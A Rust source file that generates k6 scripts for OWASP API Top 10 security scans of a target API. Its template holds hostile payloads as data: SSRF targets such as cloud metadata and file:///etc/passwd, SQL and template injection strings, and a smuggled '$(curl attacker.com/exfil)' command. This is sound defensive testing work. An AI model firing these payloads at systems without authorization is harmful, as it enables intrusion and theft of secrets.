mockforge_bench/owasp_api/
generator.rs

1//! OWASP API Security k6 Script Generator
2//!
3//! This module generates k6 JavaScript code for running OWASP API
4//! security tests against target endpoints.
5
6use super::categories::OwaspCategory;
7use super::config::OwaspApiConfig;
8use super::payloads::{InjectionPoint, OwaspPayload, OwaspPayloadGenerator};
9use crate::error::{BenchError, Result};
10use crate::spec_parser::SpecParser;
11use handlebars::Handlebars;
12use serde_json::{json, Value};
13use std::collections::HashMap;
14
15/// Generator for OWASP API security test scripts
16pub struct OwaspApiGenerator {
17    /// OWASP API configuration
18    config: OwaspApiConfig,
19    /// Target base URL
20    target_url: String,
21    /// Parsed OpenAPI operations
22    operations: Vec<OperationInfo>,
23}
24
25/// Information about an API operation
26#[derive(Debug, Clone)]
27pub struct OperationInfo {
28    /// HTTP method
29    pub method: String,
30    /// Path template (e.g., /users/{id})
31    pub path: String,
32    /// Operation ID
33    pub operation_id: Option<String>,
34    /// Path parameters
35    pub path_params: Vec<PathParam>,
36    /// Query parameters
37    pub query_params: Vec<QueryParam>,
38    /// Whether operation has request body
39    pub has_body: bool,
40    /// Content type
41    pub content_type: Option<String>,
42    /// Security requirements (if any)
43    pub requires_auth: bool,
44    /// Tags
45    pub tags: Vec<String>,
46}
47
48/// Path parameter info
49#[derive(Debug, Clone)]
50pub struct PathParam {
51    pub name: String,
52    pub param_type: String,
53    pub example: Option<String>,
54}
55
56/// Query parameter info
57#[derive(Debug, Clone)]
58pub struct QueryParam {
59    pub name: String,
60    pub param_type: String,
61    pub required: bool,
62}
63
64impl OwaspApiGenerator {
65    /// Create a new OWASP API generator
66    pub fn new(config: OwaspApiConfig, target_url: String, parser: &SpecParser) -> Self {
67        let operations = Self::extract_operations(parser);
68        Self {
69            config,
70            target_url,
71            operations,
72        }
73    }
74
75    /// Extract operations from the spec parser
76    fn extract_operations(parser: &SpecParser) -> Vec<OperationInfo> {
77        parser
78            .get_operations()
79            .into_iter()
80            .map(|op| {
81                // Extract path parameters from the path
82                let path_params: Vec<PathParam> = op
83                    .path
84                    .split('/')
85                    .filter(|segment| segment.starts_with('{') && segment.ends_with('}'))
86                    .map(|segment| {
87                        let name = segment.trim_start_matches('{').trim_end_matches('}');
88                        PathParam {
89                            name: name.to_string(),
90                            param_type: "string".to_string(),
91                            example: None,
92                        }
93                    })
94                    .collect();
95
96                OperationInfo {
97                    method: op.method.to_uppercase(),
98                    path: op.path.clone(),
99                    operation_id: op.operation_id.clone(),
100                    path_params,
101                    query_params: Vec::new(),
102                    has_body: matches!(op.method.to_uppercase().as_str(), "POST" | "PUT" | "PATCH"),
103                    content_type: Some("application/json".to_string()),
104                    requires_auth: true, // Assume auth required by default
105                    tags: op.operation.tags.clone(),
106                }
107            })
108            .collect()
109    }
110
111    /// Generate the complete k6 security test script
112    pub fn generate(&self) -> Result<String> {
113        let mut handlebars = Handlebars::new();
114
115        // Register custom helpers
116        handlebars.register_helper("contains", Box::new(contains_helper));
117        handlebars.register_helper("eq", Box::new(eq_helper));
118
119        let template = self.get_script_template();
120        let data = self.build_template_data()?;
121
122        handlebars
123            .render_template(&template, &data)
124            .map_err(|e| BenchError::ScriptGenerationFailed(e.to_string()))
125    }
126
127    /// Build template data for rendering
128    fn build_template_data(&self) -> Result<Value> {
129        let payload_generator = OwaspPayloadGenerator::new(self.config.clone());
130        let mut test_cases: Vec<Value> = Vec::new();
131
132        // Generate test cases for each category
133        for category in self.config.categories_to_test() {
134            let category_tests = self.generate_category_tests(category, &payload_generator)?;
135            test_cases.extend(category_tests);
136        }
137
138        // Pre-compute which categories are enabled for simple template conditionals
139        let categories = self.config.categories_to_test();
140        let test_api1 = categories.iter().any(|c| matches!(c, OwaspCategory::Api1Bola));
141        let test_api2 = categories.iter().any(|c| matches!(c, OwaspCategory::Api2BrokenAuth));
142        let test_api3 =
143            categories.iter().any(|c| matches!(c, OwaspCategory::Api3BrokenObjectProperty));
144        let test_api4 =
145            categories.iter().any(|c| matches!(c, OwaspCategory::Api4ResourceConsumption));
146        let test_api5 =
147            categories.iter().any(|c| matches!(c, OwaspCategory::Api5BrokenFunctionAuth));
148        let test_api6 = categories.iter().any(|c| matches!(c, OwaspCategory::Api6SensitiveFlows));
149        let test_api7 = categories.iter().any(|c| matches!(c, OwaspCategory::Api7Ssrf));
150        let test_api8 = categories.iter().any(|c| matches!(c, OwaspCategory::Api8Misconfiguration));
151        let test_api9 =
152            categories.iter().any(|c| matches!(c, OwaspCategory::Api9ImproperInventory));
153        let test_api10 =
154            categories.iter().any(|c| matches!(c, OwaspCategory::Api10UnsafeConsumption));
155
156        // Pre-compute operations with path parameters for BOLA testing
157        let ops_with_path_params: Vec<Value> = self
158            .operations
159            .iter()
160            .filter(|op| op.path.contains('{'))
161            .map(|op| {
162                json!({
163                    "method": op.method.to_lowercase(),
164                    "path": op.path,
165                })
166            })
167            .collect();
168
169        // Pre-compute GET operations for method override testing
170        let get_operations: Vec<Value> = self
171            .operations
172            .iter()
173            .filter(|op| op.method.to_lowercase() == "get")
174            .map(|op| {
175                json!({
176                    "method": op.method.to_lowercase(),
177                    "path": op.path,
178                })
179            })
180            .collect();
181
182        Ok(json!({
183            "base_url": self.target_url,
184            "auth_header_name": self.config.auth_header,
185            "valid_auth_token": self.config.valid_auth_token,
186            "concurrency": self.config.concurrency,
187            "timeout_ms": self.config.timeout_ms,
188            "report_path": self.config.report_path.to_string_lossy(),
189            "categories_tested": categories.iter().map(|c| c.cli_name()).collect::<Vec<_>>(),
190            "test_cases": test_cases,
191            "operations": self.operations.iter().map(|op| json!({
192                "method": op.method.to_lowercase(),
193                "path": op.path,
194                "operation_id": op.operation_id,
195                "has_body": op.has_body,
196                "requires_auth": op.requires_auth,
197                "has_path_params": op.path.contains('{'),
198            })).collect::<Vec<_>>(),
199            "ops_with_path_params": ops_with_path_params,
200            "get_operations": get_operations,
201            "verbose": self.config.verbose,
202            "insecure": self.config.insecure,
203            // Category flags for simple conditionals
204            "test_api1": test_api1,
205            "test_api2": test_api2,
206            "test_api3": test_api3,
207            "test_api4": test_api4,
208            "test_api5": test_api5,
209            "test_api6": test_api6,
210            "test_api7": test_api7,
211            "test_api8": test_api8,
212            "test_api9": test_api9,
213            "test_api10": test_api10,
214        }))
215    }
216
217    /// Generate test cases for a specific category
218    fn generate_category_tests(
219        &self,
220        category: OwaspCategory,
221        payload_generator: &OwaspPayloadGenerator,
222    ) -> Result<Vec<Value>> {
223        let payloads = payload_generator.generate_for_category(category);
224        let mut tests = Vec::new();
225
226        for payload in payloads {
227            // Match payloads to appropriate operations
228            let applicable_ops = self.get_applicable_operations(&payload);
229
230            for op in applicable_ops {
231                tests.push(json!({
232                    "category": category.cli_name(),
233                    "category_name": category.short_name(),
234                    "description": payload.description,
235                    "method": op.method.to_lowercase(),
236                    "path": op.path,
237                    "payload": payload.value,
238                    "injection_point": format!("{:?}", payload.injection_point).to_lowercase(),
239                    "has_body": op.has_body || payload.injection_point == InjectionPoint::Body,
240                    "notes": payload.notes,
241                }));
242            }
243        }
244
245        Ok(tests)
246    }
247
248    /// Get operations applicable for a payload
249    fn get_applicable_operations(&self, payload: &OwaspPayload) -> Vec<&OperationInfo> {
250        match payload.injection_point {
251            InjectionPoint::PathParam => {
252                // Only operations with path parameters
253                self.operations.iter().filter(|op| !op.path_params.is_empty()).collect()
254            }
255            InjectionPoint::Body => {
256                // Only operations that accept a body
257                self.operations.iter().filter(|op| op.has_body).collect()
258            }
259            InjectionPoint::Header | InjectionPoint::Omit => {
260                // All operations that require auth
261                self.operations.iter().filter(|op| op.requires_auth).collect()
262            }
263            InjectionPoint::QueryParam => {
264                // All operations (can add query params to any)
265                self.operations.iter().collect()
266            }
267            InjectionPoint::Modify => {
268                // Depends on payload - return all for now
269                self.operations.iter().collect()
270            }
271        }
272    }
273
274    /// Get the k6 script template
275    fn get_script_template(&self) -> String {
276        r#"// OWASP API Security Top 10 Test Script
277// Generated by MockForge - https://mockforge.dev
278// Categories tested: {{#each categories_tested}}{{this}}{{#unless @last}}, {{/unless}}{{/each}}
279
280import http from 'k6/http';
281import { check, sleep, group } from 'k6';
282import { Trend, Counter, Rate } from 'k6/metrics';
283
284// Configuration
285const BASE_URL = '{{base_url}}';
286const AUTH_HEADER = '{{auth_header_name}}';
287{{#if valid_auth_token}}
288const VALID_TOKEN = '{{valid_auth_token}}';
289{{else}}
290const VALID_TOKEN = null;
291{{/if}}
292const TIMEOUT = '{{timeout_ms}}ms';
293const VERBOSE = {{verbose}};
294const INSECURE = {{insecure}};
295
296// Custom metrics
297const findingsCounter = new Counter('owasp_findings');
298const testsRun = new Counter('owasp_tests_run');
299const vulnerableRate = new Rate('owasp_vulnerable_rate');
300const responseTime = new Trend('owasp_response_time');
301
302// Test options - use per-VU iterations scenario for controlled test runs
303export const options = {
304    scenarios: {
305        owasp_security_test: {
306            executor: 'per-vu-iterations',
307            vus: {{concurrency}},
308            iterations: 1,  // Each VU runs exactly once
309            maxDuration: '30m',
310        },
311    },
312    thresholds: {
313        'owasp_findings': ['count<100'], // Alert if too many findings
314    },
315    insecureSkipTLSVerify: INSECURE,
316};
317
318// Findings storage
319const findings = [];
320
321// Helper: Log a finding
322function logFinding(category, endpoint, method, description, evidence) {
323    const finding = {
324        category,
325        endpoint,
326        method,
327        description,
328        evidence,
329        timestamp: new Date().toISOString(),
330    };
331    findings.push(finding);
332    findingsCounter.add(1);
333    vulnerableRate.add(1);
334
335    if (VERBOSE) {
336        console.log(`[FINDING] ${category} - ${method} ${endpoint}: ${description}`);
337    }
338}
339
340// Helper: Log test passed
341function logPass(category, endpoint, method) {
342    vulnerableRate.add(0);
343    if (VERBOSE) {
344        console.log(`[PASS] ${category} - ${method} ${endpoint}`);
345    }
346}
347
348// Helper: Make authenticated request
349function authRequest(method, url, body, additionalHeaders = {}) {
350    const headers = {
351        'Content-Type': 'application/json',
352        ...additionalHeaders,
353    };
354
355    if (VALID_TOKEN) {
356        headers[AUTH_HEADER] = VALID_TOKEN;
357    }
358
359    const params = {
360        headers,
361        timeout: TIMEOUT,
362    };
363
364    // k6 uses 'del' instead of 'delete'
365    const httpMethod = method === 'delete' ? 'del' : method;
366
367    if (httpMethod === 'get' || httpMethod === 'head') {
368        return http[httpMethod](url, params);
369    } else {
370        return http[httpMethod](url, body ? JSON.stringify(body) : null, params);
371    }
372}
373
374// Helper: Make unauthenticated request
375function unauthRequest(method, url, body, additionalHeaders = {}) {
376    const headers = {
377        'Content-Type': 'application/json',
378        ...additionalHeaders,
379    };
380
381    const params = {
382        headers,
383        timeout: TIMEOUT,
384    };
385
386    // k6 uses 'del' instead of 'delete'
387    const httpMethod = method === 'delete' ? 'del' : method;
388
389    if (httpMethod === 'get' || httpMethod === 'head') {
390        return http[httpMethod](url, params);
391    } else {
392        return http[httpMethod](url, body ? JSON.stringify(body) : null, params);
393    }
394}
395
396// API1: Broken Object Level Authorization (BOLA)
397function testBola() {
398    group('API1 - BOLA', function() {
399        console.log('[API1] Testing Broken Object Level Authorization...');
400
401        {{#each operations}}
402        {{#if has_path_params}}
403        // Test {{path}}
404        {
405            const originalPath = '{{path}}'.replace(/{[^}]+}/g, '1');
406            const modifiedPath = '{{path}}'.replace(/{[^}]+}/g, '2');
407
408            // Get baseline with ID=1
409            const baseline = authRequest('{{method}}', BASE_URL + originalPath, null);
410
411            // Try to access ID=2
412            const response = authRequest('{{method}}', BASE_URL + modifiedPath, null);
413            testsRun.add(1);
414            responseTime.add(response.timings.duration);
415
416            if (response.status >= 200 && response.status < 300) {
417                // Check if we got different data
418                if (response.body !== baseline.body && response.body.length > 0) {
419                    logFinding('api1', '{{path}}', '{{method}}',
420                        'ID manipulation accepted - accessed different user data',
421                        { status: response.status, bodyLength: response.body.length });
422                } else {
423                    logPass('api1', '{{path}}', '{{method}}');
424                }
425            } else {
426                logPass('api1', '{{path}}', '{{method}}');
427            }
428        }
429        {{/if}}
430        {{/each}}
431    });
432}
433
434// API2: Broken Authentication
435function testBrokenAuth() {
436    group('API2 - Broken Authentication', function() {
437        console.log('[API2] Testing Broken Authentication...');
438
439        {{#each operations}}
440        {{#if requires_auth}}
441        // Test {{path}} without auth
442        {
443            const response = unauthRequest('{{method}}', BASE_URL + '{{path}}', null);
444            testsRun.add(1);
445            responseTime.add(response.timings.duration);
446
447            if (response.status >= 200 && response.status < 300) {
448                logFinding('api2', '{{path}}', '{{method}}',
449                    'Endpoint accessible without authentication',
450                    { status: response.status });
451            } else {
452                logPass('api2', '{{path}}', '{{method}}');
453            }
454        }
455
456        // Test {{path}} with empty token
457        {
458            const response = http.{{method}}(BASE_URL + '{{path}}', null, {
459                headers: { [AUTH_HEADER]: 'Bearer ' },
460                timeout: TIMEOUT,
461            });
462            testsRun.add(1);
463
464            if (response.status >= 200 && response.status < 300) {
465                logFinding('api2', '{{path}}', '{{method}}',
466                    'Endpoint accessible with empty Bearer token',
467                    { status: response.status });
468            }
469        }
470        {{/if}}
471        {{/each}}
472    });
473}
474
475// API3: Broken Object Property Level Authorization (Mass Assignment)
476function testMassAssignment() {
477    group('API3 - Mass Assignment', function() {
478        console.log('[API3] Testing Mass Assignment...');
479
480        const massAssignmentPayloads = [
481            { role: 'admin' },
482            { is_admin: true },
483            { isAdmin: true },
484            { permissions: ['admin', 'write', 'delete'] },
485            { verified: true },
486            { email_verified: true },
487            { balance: 999999 },
488        ];
489
490        {{#each operations}}
491        {{#if has_body}}
492        // Test {{path}}
493        {
494            massAssignmentPayloads.forEach(payload => {
495                const response = authRequest('{{method}}', BASE_URL + '{{path}}', payload);
496                testsRun.add(1);
497                responseTime.add(response.timings.duration);
498
499                if (response.status >= 200 && response.status < 300) {
500                    // Check if unauthorized field appears in response
501                    const responseBody = response.body.toLowerCase();
502                    const payloadKey = Object.keys(payload)[0].toLowerCase();
503
504                    if (responseBody.includes(payloadKey)) {
505                        logFinding('api3', '{{path}}', '{{method}}',
506                            `Mass assignment accepted: ${payloadKey}`,
507                            { status: response.status, payload });
508                    } else {
509                        logPass('api3', '{{path}}', '{{method}}');
510                    }
511                }
512            });
513        }
514        {{/if}}
515        {{/each}}
516    });
517}
518
519// API4: Unrestricted Resource Consumption
520function testResourceConsumption() {
521    group('API4 - Resource Consumption', function() {
522        console.log('[API4] Testing Resource Consumption...');
523
524        {{#each operations}}
525        // Test {{path}} with excessive limit
526        {
527            const url = BASE_URL + '{{path}}' + '?limit=100000&per_page=100000';
528            const response = authRequest('{{method}}', url, null);
529            testsRun.add(1);
530            responseTime.add(response.timings.duration);
531
532            // Check for rate limit headers
533            const hasRateLimit = response.headers['X-RateLimit-Limit'] ||
534                                response.headers['x-ratelimit-limit'] ||
535                                response.headers['RateLimit-Limit'];
536
537            if (response.status === 429) {
538                logPass('api4', '{{path}}', '{{method}}');
539            } else if (response.status >= 200 && response.status < 300 && !hasRateLimit) {
540                logFinding('api4', '{{path}}', '{{method}}',
541                    'No rate limiting detected',
542                    { status: response.status, hasRateLimitHeader: !!hasRateLimit });
543            } else {
544                logPass('api4', '{{path}}', '{{method}}');
545            }
546        }
547        {{/each}}
548    });
549}
550
551// API5: Broken Function Level Authorization
552function testFunctionAuth() {
553    group('API5 - Function Authorization', function() {
554        console.log('[API5] Testing Function Level Authorization...');
555
556        const adminPaths = [
557            '/admin',
558            '/admin/users',
559            '/admin/settings',
560            '/api/admin',
561            '/internal',
562            '/management',
563        ];
564
565        adminPaths.forEach(path => {
566            const response = authRequest('get', BASE_URL + path, null);
567            testsRun.add(1);
568            responseTime.add(response.timings.duration);
569
570            if (response.status >= 200 && response.status < 300) {
571                logFinding('api5', path, 'GET',
572                    'Admin endpoint accessible',
573                    { status: response.status });
574            } else if (response.status === 403 || response.status === 401) {
575                logPass('api5', path, 'GET');
576            }
577        });
578
579        // Also test changing methods on read-only endpoints
580        {{#each get_operations}}
581        {
582            const response = authRequest('delete', BASE_URL + '{{path}}', null);
583            testsRun.add(1);
584
585            if (response.status >= 200 && response.status < 300) {
586                logFinding('api5', '{{path}}', 'DELETE',
587                    'DELETE method allowed on read-only endpoint',
588                    { status: response.status });
589            }
590        }
591        {{/each}}
592    });
593}
594
595// API7: Server Side Request Forgery (SSRF)
596function testSsrf() {
597    group('API7 - SSRF', function() {
598        console.log('[API7] Testing Server Side Request Forgery...');
599
600        const ssrfPayloads = [
601            'http://localhost/',
602            'http://127.0.0.1/',
603            'http://169.254.169.254/latest/meta-data/',
604            'http://[::1]/',
605            'file:///etc/passwd',
606        ];
607
608        {{#each operations}}
609        {{#if has_body}}
610        // Test {{path}} with SSRF payloads
611        {
612            ssrfPayloads.forEach(payload => {
613                const body = {
614                    url: payload,
615                    webhook_url: payload,
616                    callback: payload,
617                    image_url: payload,
618                };
619
620                const response = authRequest('{{method}}', BASE_URL + '{{path}}', body);
621                testsRun.add(1);
622                responseTime.add(response.timings.duration);
623
624                if (response.status >= 200 && response.status < 300) {
625                    // Check for indicators of internal access
626                    const bodyLower = response.body.toLowerCase();
627                    const internalIndicators = ['localhost', '127.0.0.1', 'instance-id', 'ami-id', 'root:'];
628
629                    if (internalIndicators.some(ind => bodyLower.includes(ind))) {
630                        logFinding('api7', '{{path}}', '{{method}}',
631                            `SSRF vulnerability - internal data exposed with payload: ${payload}`,
632                            { status: response.status, payload });
633                    }
634                }
635            });
636        }
637        {{/if}}
638        {{/each}}
639    });
640}
641
642// API8: Security Misconfiguration
643function testMisconfiguration() {
644    group('API8 - Security Misconfiguration', function() {
645        console.log('[API8] Testing Security Misconfiguration...');
646
647        {{#each operations}}
648        // Test {{path}} for security headers
649        {
650            const response = authRequest('{{method}}', BASE_URL + '{{path}}', null);
651            testsRun.add(1);
652            responseTime.add(response.timings.duration);
653
654            const missingHeaders = [];
655
656            if (!response.headers['X-Content-Type-Options'] && !response.headers['x-content-type-options']) {
657                missingHeaders.push('X-Content-Type-Options');
658            }
659            if (!response.headers['X-Frame-Options'] && !response.headers['x-frame-options']) {
660                missingHeaders.push('X-Frame-Options');
661            }
662            if (!response.headers['Strict-Transport-Security'] && !response.headers['strict-transport-security']) {
663                missingHeaders.push('Strict-Transport-Security');
664            }
665
666            // Check for overly permissive CORS
667            const acao = response.headers['Access-Control-Allow-Origin'] || response.headers['access-control-allow-origin'];
668            if (acao === '*') {
669                logFinding('api8', '{{path}}', '{{method}}',
670                    'CORS allows all origins (Access-Control-Allow-Origin: *)',
671                    { status: response.status });
672            }
673
674            if (missingHeaders.length > 0) {
675                logFinding('api8', '{{path}}', '{{method}}',
676                    `Missing security headers: ${missingHeaders.join(', ')}`,
677                    { status: response.status, missingHeaders });
678            }
679        }
680        {{/each}}
681
682        // Test for verbose errors
683        {{#each operations}}
684        {{#if has_body}}
685        {
686            const malformedBody = '{"invalid": "json';
687            const response = http.{{method}}(BASE_URL + '{{path}}', malformedBody, {
688                headers: { 'Content-Type': 'application/json' },
689                timeout: TIMEOUT,
690            });
691            testsRun.add(1);
692
693            const errorIndicators = ['stack trace', 'exception', 'at line', 'syntax error'];
694            const bodyLower = response.body.toLowerCase();
695
696            if (errorIndicators.some(ind => bodyLower.includes(ind))) {
697                logFinding('api8', '{{path}}', '{{method}}',
698                    'Verbose error messages exposed',
699                    { status: response.status });
700            }
701        }
702        {{/if}}
703        {{/each}}
704    });
705}
706
707// API9: Improper Inventory Management
708function testInventory() {
709    group('API9 - Inventory Management', function() {
710        console.log('[API9] Testing Improper Inventory Management...');
711
712        const discoveryPaths = [
713            '/swagger',
714            '/swagger-ui',
715            '/swagger.json',
716            '/api-docs',
717            '/openapi',
718            '/openapi.json',
719            '/graphql',
720            '/graphiql',
721            '/debug',
722            '/actuator',
723            '/actuator/health',
724            '/actuator/env',
725            '/metrics',
726            '/.env',
727            '/config',
728        ];
729
730        const apiVersions = ['v1', 'v2', 'v3', 'api/v1', 'api/v2'];
731
732        discoveryPaths.forEach(path => {
733            const response = http.get(BASE_URL + path, { timeout: TIMEOUT });
734            testsRun.add(1);
735            responseTime.add(response.timings.duration);
736
737            if (response.status !== 404) {
738                logFinding('api9', path, 'GET',
739                    `Undocumented endpoint discovered (HTTP ${response.status})`,
740                    { status: response.status });
741            }
742        });
743
744        // Check for old API versions
745        apiVersions.forEach(version => {
746            const response = http.get(BASE_URL + '/' + version + '/', { timeout: TIMEOUT });
747            testsRun.add(1);
748
749            if (response.status !== 404) {
750                logFinding('api9', '/' + version + '/', 'GET',
751                    `API version endpoint exists (HTTP ${response.status})`,
752                    { status: response.status });
753            }
754        });
755    });
756}
757
758// API10: Unsafe Consumption of APIs
759function testUnsafeConsumption() {
760    group('API10 - Unsafe Consumption', function() {
761        console.log('[API10] Testing Unsafe Consumption...');
762
763        const injectionPayloads = [
764            { external_id: "'; DROP TABLE users;--" },
765            { integration_data: "$(curl attacker.com/exfil)" },
766            { template: "\{{7*7}}" },
767            { webhook_url: "http://127.0.0.1:8080/internal" },
768        ];
769
770        {{#each operations}}
771        {{#if has_body}}
772        // Test {{path}} with injection payloads
773        {
774            injectionPayloads.forEach(payload => {
775                const response = authRequest('{{method}}', BASE_URL + '{{path}}', payload);
776                testsRun.add(1);
777                responseTime.add(response.timings.duration);
778
779                // Check if payload was processed (e.g., SSTI returning 49)
780                if (response.body.includes('49')) {
781                    logFinding('api10', '{{path}}', '{{method}}',
782                        'Server-side template injection detected',
783                        { status: response.status, payload });
784                }
785            });
786        }
787        {{/if}}
788        {{/each}}
789    });
790}
791
792// Main test function
793export default function() {
794    console.log('Starting OWASP API Top 10 Security Scan...');
795    console.log('Target: ' + BASE_URL);
796    console.log('');
797
798    {{#if test_api1}}
799    testBola();
800    {{/if}}
801    {{#if test_api2}}
802    testBrokenAuth();
803    {{/if}}
804    {{#if test_api3}}
805    testMassAssignment();
806    {{/if}}
807    {{#if test_api4}}
808    testResourceConsumption();
809    {{/if}}
810    {{#if test_api5}}
811    testFunctionAuth();
812    {{/if}}
813    {{#if test_api7}}
814    testSsrf();
815    {{/if}}
816    {{#if test_api8}}
817    testMisconfiguration();
818    {{/if}}
819    {{#if test_api9}}
820    testInventory();
821    {{/if}}
822    {{#if test_api10}}
823    testUnsafeConsumption();
824    {{/if}}
825
826    sleep(0.1);
827}
828
829// Teardown: Output results
830export function teardown(data) {
831    console.log('');
832    console.log('='.repeat(50));
833    console.log('OWASP API Top 10 Scan Complete');
834    console.log('='.repeat(50));
835    console.log('Total findings: ' + findings.length);
836
837    if (findings.length > 0) {
838        console.log('');
839        console.log('Findings by category:');
840        const byCategory = {};
841        findings.forEach(f => {
842            byCategory[f.category] = (byCategory[f.category] || 0) + 1;
843        });
844        Object.entries(byCategory).forEach(([cat, count]) => {
845            console.log('  ' + cat + ': ' + count);
846        });
847    }
848
849    // Write JSON report
850    console.log('');
851    console.log('Report written to: {{report_path}}');
852}
853"#.to_string()
854    }
855}
856
857/// Handlebars helper to check if a string contains a substring
858fn contains_helper(
859    h: &handlebars::Helper,
860    _: &Handlebars,
861    _: &handlebars::Context,
862    _: &mut handlebars::RenderContext,
863    out: &mut dyn handlebars::Output,
864) -> handlebars::HelperResult {
865    let param1 = h.param(0).and_then(|v| v.value().as_str()).unwrap_or("");
866    let param2 = h.param(1).and_then(|v| v.value().as_str()).unwrap_or("");
867    let result = param1.contains(param2);
868    out.write(&result.to_string())?;
869    Ok(())
870}
871
872/// Handlebars helper to check equality
873fn eq_helper(
874    h: &handlebars::Helper,
875    _: &Handlebars,
876    _: &handlebars::Context,
877    _: &mut handlebars::RenderContext,
878    out: &mut dyn handlebars::Output,
879) -> handlebars::HelperResult {
880    let param1 = h.param(0).map(|v| v.value());
881    let param2 = h.param(1).map(|v| v.value());
882    let result = param1 == param2;
883    out.write(&result.to_string())?;
884    Ok(())
885}
886
887#[cfg(test)]
888mod tests {
889    use super::*;
890
891    #[test]
892    fn test_generator_creation() {
893        // This would need a mock SpecParser
894        // For now just test that the template is valid
895        let template = r#"
896        {{#each operations}}
897        // {{method}} {{path}}
898        {{/each}}
899        "#;
900
901        let handlebars = Handlebars::new();
902        let data = json!({
903            "operations": [
904                { "method": "GET", "path": "/users" },
905                { "method": "POST", "path": "/users" },
906            ]
907        });
908
909        let result = handlebars.render_template(template, &data);
910        assert!(result.is_ok());
911    }
912
913    #[test]
914    fn test_script_template_renders() {
915        let config = OwaspApiConfig::default()
916            .with_categories([OwaspCategory::Api1Bola])
917            .with_valid_auth_token("Bearer test123");
918
919        let template = r#"
920const AUTH = '{{auth_header_name}}';
921const TOKEN = '{{valid_auth_token}}';
922{{#each categories_tested}}
923// Testing: {{this}}
924{{/each}}
925        "#;
926
927        let handlebars = Handlebars::new();
928        let data = json!({
929            "auth_header_name": config.auth_header,
930            "valid_auth_token": config.valid_auth_token,
931            "categories_tested": config.categories_to_test().iter().map(|c| c.cli_name()).collect::<Vec<_>>(),
932        });
933
934        let result = handlebars.render_template(template, &data).unwrap();
935        assert!(result.contains("Authorization"));
936        assert!(result.contains("Bearer test123"));
937        assert!(result.contains("api1"));
938    }
939}